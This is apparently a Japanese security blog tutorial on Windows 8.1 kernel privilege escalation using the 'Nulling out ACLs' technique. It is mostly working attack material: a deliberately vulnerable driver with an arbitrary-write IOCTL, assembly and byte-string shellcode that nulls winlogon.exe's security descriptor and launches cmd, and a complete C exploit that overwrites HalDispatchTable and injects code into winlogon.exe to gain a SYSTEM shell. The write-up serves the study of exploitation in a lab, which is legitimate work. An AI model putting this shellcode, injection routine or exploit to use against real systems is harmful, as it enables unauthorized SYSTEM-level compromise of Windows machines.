WindowsでNulling out ACLs Shellcodeによる権限昇格をやってみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、SystemプロセスのTokenを自身のプロセスのTokenにコピーするシェルコードを使って権限昇格を行った。 この方法のほかに、System権限で動作するプロセスのACL(Access Control List)を書き換え、このプロセスにコードインジェクションを行うことで権限昇格を行う方法が知られている。 この方法はNulling out ACLsと呼ばれる。 ここでは、Nulling out ACLsを行うシェルコードを使った権限昇格をやってみる。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成し、あらかじめscコマンドを使ってこれをロードしておく。
Nulling out ACLs Shellcode
EPROCESS構造体を含む多くの構造体には、OBJECT_HEADERと呼ばれるヘッダ情報がある。 カーネルデバッグを行い、これについて調べてみると次のようになる。
kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** (snip) PROCESS 8ce85700 SessionId: 1 Cid: 01b8 Peb: 7fccf000 ParentCid: 018c DirBase: 72799040 ObjectTable: 8e7f6ec0 HandleCount: <Data Not Accessible> Image: winlogon.exe (snip) kd> dt _OBJECT_HEADER 8ce85700-18 nt!_OBJECT_HEADER +0x000 PointerCount : 0n433 +0x004 HandleCount : 0n12 +0x004 NextToFree : 0x0000000c Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0x7 '' +0x00d TraceFlags : 0 '' +0x00d DbgRefTrace : 0y0 +0x00d DbgTracePermanent : 0y0 +0x00e InfoMask : 0x48 'H' +0x00f Flags : 0 '' +0x00f NewObject : 0y0 +0x00f KernelObject : 0y0 +0x00f KernelOnlyAccess : 0y0 +0x00f ExclusiveObject : 0y0 +0x00f PermanentObject : 0y0 +0x00f DefaultSecurityQuota : 0y0 +0x00f SingleHandleEntry : 0y0 +0x00f DeletedInline : 0y0 +0x010 ObjectCreateInfo : 0x8124b700 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x8124b700 Void +0x014 SecurityDescriptor : 0x85a07e1b Void +0x018 Body : _QUAD
上において、SecurityDescriptorはこのプロセスへのアクセス制限に関する情報(ACL)を表している。 通常、System権限で動作しているプロセスはOpenProcess関数で開くことができないが、SecurityDescriptorをNULLに書き換えることでプロセスを開きメモリを読み書きすることが可能になる。 つまり、コードインジェクションにより任意のコードをSystem権限で実行できるようになる。
そこで、System権限で動作しているwinlogon.exeのSecurityDescriptorをNULLに書き換えるシェルコードを書いてみると次のようになる。
; nullacls.asm .386 .model flat, stdcall .code start: pushad assume fs:nothing mov eax, fs:[124h] ; _KTHREAD mov eax, [eax+80h] ; _EPROCESS add eax, 0b8h ; _EPROCESS.ActiveProcessLinks search_process: mov eax, [eax] ; Flink cmp dword ptr [eax+0b8h], 6c6e6977h ; ImageFileName, "winl" for winlogon.exe jne search_process mov dword ptr [eax-0bch], 0 ; SecurityDescriptor popad ret end start
上のコードでは、EPROCESS構造体のImageFileNameが「winl」で始まっているものをwinlogon.exeとみなし、SecurityDescriptorをNULLに書き換える。 また、このコードが関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml nullacls.asm /link /subsystem:console >dumpbin /rawdata nullacls.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file nullacls.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00 `d¡$..........¸. 00401010: 00 00 8B 00 81 B8 B8 00 00 00 77 69 6E 6C 75 F2 .....¸¸...winluò 00401020: C7 80 44 FF FF FF 00 00 00 00 61 C3 Ç.Dÿÿÿ....aà Summary 1000 .text >dumpbin /rawdata nullacls.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3
コードインジェクションで実行させるシェルコードを書いてみる
次に、コードインジェクションで実行させるシェルコードを用意する。 「Windowsで電卓を起動するシェルコードを書いてみる」を参考に、コマンドプロンプトを起動するシェルコードを書くと次のようになる。
; injectcode.asm .386 .model flat, stdcall .code start: cld jmp main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList next_mod: lodsd ; next _LDR_DATA_TABLE_ENTRY mov [esp+1ch], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edx, ebp mov ecx, [edx+18h] ; NumberOfNames mov ebx, [edx+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor edi, edi ; hash = 0 xor eax, eax compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edi, 0dh ; hash += ror(c, 0x0d) add edi, eax jmp compute_hash_loop compare_hash: cmp edi, [esp+24h] ; compare with api hash jnz next_name mov ebx, [edx+24h] ; AddressOfNameOrdinals add ebx, ebp mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [edx+1ch] ; AddressOfFunctions add ebx, ebp mov eax, [ebx+ecx*4] ; AddressOfFunctions[y] add eax, ebp mov [esp+1ch], eax ; store eax popad pop ecx ; remove api hash from the stack pop edx push ecx jmp eax ; jump to api function name_not_found: mov esi, [esp+1ch] ; update eax jmp next_mod main: pushad mov ebp, esp push 00646d63h ; "cmd" mov eax, esp push 1 push eax push 0e8afe98h ; WinExec call api_call mov esp, ebp popad ret end start
上のコードはCreateRemoteThread関数により関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml injectcode.asm /link /subsystem:console >dumpbin /rawdata injectcode.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file injectcode.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p. 00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x. 00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4.. 00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë 00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K 00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY 00401060: 5A 51 FF E0 8B 74 24 1C EB A6 60 8B EC 68 63 6D ZQÿà.t$.ë¦`.ìhcm 00401070: 64 00 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF d..Äj.Ph.þ..è.ÿÿ 00401080: FF 8B E5 61 C3 ÿ.åaà Summary 1000 .text >dumpbin /rawdata injectcode.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3
エクスプロイトコードを書いてみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様にHalDispatchTableの書き換えを行い、Nulling out ACLs Shellcodeの実行とコードインジェクションを行うエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <tlhelp32.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; DWORD findPid(char *name) { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(hProcessSnap, &pe32); do { if (_stricmp(pe32.szExeFile, name) == 0) { return pe32.th32ProcessID; } } while (Process32Next(hProcessSnap, &pe32)); return -1; } int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3"; LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(rwxMemory, shellcode, sizeof(shellcode)); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = (DWORD)rwxMemory; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread"); KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase; arg.value = (DWORD)KeGetCurrentThread; DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); char injectcode[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3"; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findPid("winlogon.exe")); rwxMemory = VirtualAllocEx(hProcess, NULL, sizeof(injectcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, rwxMemory, (void *)injectcode, sizeof(injectcode), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rwxMemory, NULL, 0, NULL); CloseHandle(hProcess); return 0; }
findPid関数はCreateToolhelp32Snapshot関数を使い、引数に与えた実行ファイル名を持つプロセスのPIDを返す関数である。 コードインジェクションを行うには、VirtualAllocEx関数、WriteProcessMemory関数で対象となるプロセスに実行可能メモリを確保しコードを書き込んだ後、CreateRemoteThread関数をこのアドレスを指定して呼び出せばよい。
エクスプロイトコードをコンパイルし実行すると、コマンドプロンプトが起動し次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Easy local Windows Kernel exploitation (Black Hat USA 2012)
- Taking a Snapshot and Viewing Processes (Windows)
- Exploit Monday: Undocumented NtQuerySystemInformation Structures (Updated for Windows 8)
- MWR Labs Pwn2Own 2013 Write-up - Kernel Exploit - mwrlabs
- hacking-team-windows-kernel-lpe/PIC.c at 608a83e8005808fa5b04408a978b0b7361d67417 · vlad902/hacking-team-windows-kernel-lpe